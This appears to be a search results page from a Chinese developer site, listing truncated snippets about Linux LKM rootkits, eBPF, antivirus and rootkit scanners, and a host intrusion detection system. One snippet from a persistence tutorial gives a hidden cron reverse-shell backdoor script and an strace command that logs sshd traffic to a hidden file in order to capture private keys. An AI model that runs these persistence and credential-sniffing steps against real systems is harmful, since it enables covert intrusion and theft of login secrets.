首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux Rootkit系列一:LKM的基础编写及隐藏

对于这个系列文章,我的规划如下:这一系列文章的重点集中在介绍linux rootkit中最讨论最多也是最受欢迎的一种:loadable kernel module rootkit(LKM rootkit...LKM(可加载内核模块) LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展linux的内核功能。...1.基本的LKM的编写 下面是一个最基本的LKM的实现,接下来我会对这个例子进行讲解 /*lkm.c*/ #include linux/module.h> #include linux/...kernel.h> #include linux/init.h> static int lkm_init(void) { printk("Arciryas:module...参考资料 关于lkm的编写,《linux设备驱动程序(第三版)》的第二章"构造和运行模块"里有基础的讲解。

4.8K100
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    eBPF 概念和基本原理

    可以使用 Linux 内核模块(LKM)。用户空间一般是需要通过系统调用来访问内核空间,而 LKM 是直接加载到内核的,是内核的一部分。...LKM 最有价值的特点之一,就是可以在运行时加载,不用编译内核也不用重启机器。 ? LKM 非常有用,但是也引入了很多风险。内核和用户空间不同,要进行不同的安全考量。...换个说法,LKM 是能够让内核崩溃的。模块和内核的紧密关系,使得安全和升级成本直线升高。 eBPF 是什么 eBPF 是一个用于访问 Linux 内核服务和硬件的新方法。...2014 年第一个版本适配了 Linux 3.18,提供的功能相对较少。要使用完整的 eBPF,需要 Linux 4.4 或以上。 ? 上图对 eBPF 架构进行了一个简单的展示。...程序员能够在不增加或者修改内核代码的情况下,就能够在 Linux 内核中执行自定义的字节码。虽说还远不能整体取代 LKM,eBPF 程序可以自定义代码来和受保护的硬件资源进行交互,对内核的威胁最小。

    5.5K21

    怒怼黑客,Linux 下的7个开源安全工具

    Linux 操作系统相当稳定和安全,但他们不可能免疫所有的威胁,所有计算机系统都可能遭受恶意软件和病毒攻击,其中包括运行基于Linux的操作系统的系统。...本文,我们将讨论针对Linux系统的7个最佳免费防病毒程序(大部分为程序均是开源的。) 1. ClamAV ClamAV 是一个免费且开源的,适用于 Linux 系统的多功能反病毒工具包。...● chkproc.c - 检查LKM木马的迹象。 ● chkdirs.c - 检查LKM木马的迹象。 ● strings.c - 执行快速和脏的字符串替换。...Sophos For Linux 针对 Linux 的 Sophos 防病毒软件是一款针对各种Linux发行版的稳定可靠的防病毒软件。...它检测并根除您的 Linux 计算机上的病毒(包括蠕虫和特洛伊木马)。 它还可以查找并阻止所有可能存储在 Linux 计算机上并传输到非Linux计算机的非 Linux 病毒。

    4.5K70

    【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

    权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!...crontab */1 * * * * root /etc/.backshell.sh 成功反弹shell 配合挖矿木马病毒,自动挖矿,很多未授权redis数据库很多都被写入了挖矿程序 权限维持-Linux...print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &) grep 'PRIVATE KEY' /tmp/.sshd.log 权限维持-Linux.../etc/upload fi 权限维持-Linux-内核加载LKM-Rootkit后门 传统后门通过TCP连接,容易被发现 现在常用的linux维持权限的方法大多用crontab和开机自启动,...所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。

    14410

    AgentSmith-HIDS:一套轻量级高性能的基于主机的入侵检测系统

    AgentSmith-HIDS实现了以下几个主要功能: 1、内核栈模块通过Kprobe针对 execve、通信连接、进程注入、文件创建、DNS查询和LKM加载等行为设置了钩子,并且通过兼容Linux命名空间来对容器环境进行监控...3、AntiRootKit,基于Tyton实现,目前已经移植了PROC_FILE_HOOK、SYSCALL_HOOK、LKM_HIDDEN和INTERRUPTS_HOOK,目前仅支持Kernel > 3.10...2.6.25 AntiRootKit > 3.10 容器兼容性 行为源 节点名称 Host 主机名 Docker 容器名 k8s POD名 AgentSmith-HIDS的组成部分 1、内核驱动模块(LKM...local_ip":"192.168.165.153", "hostname":"test", "exe_md5":"863293f9fcf1af7afe5797a4b6b7aa0a" } LKM...通过挂钩load_module()实现,使用样例如下: { "uid":"0", "data_type":"603", "exe":"/usr/bin/kmod", "lkm_file

    2.4K30

    Linux 下的 8 个开源安全工具,再也不怕黑客啦

    Linux的安全问题始终未能在大众范围里引起注意。但对于专业人士而言,Linux系统上的攻击虽然隐藏在水面之下,威胁却与日俱增。 虽然Linux操作系统相当稳定和安全,但它们可能不完全免疫威胁。...chkproc.c - 检查LKM木马的迹象。 chkdirs.c - 这检查LKM木马的迹象。 strings.c - 它执行快速和脏的字符串替换。 chkutmp.c - 检查utmp删除。...Sophos For Linux 针对Linux的Sophos防病毒软件是一款针对各种Linux发行版的稳定可靠的防病毒软件。 它检测并根除您的Linux计算机上的病毒(包括蠕虫和特洛伊木马)。...它还可以查找并阻止所有可能存储在Linux计算机上并传输到非Linux计算机的非Linux病毒。 您可以从命令行界面以root身份运行所有命令(用于运行按需扫描的savscan除外)。...F-PROT对于Linux 适用于Linux工作站的F-PROT防病毒软件是一款免费强大的扫描引擎,适用于家庭/个人工作站。

    2.2K20
    领券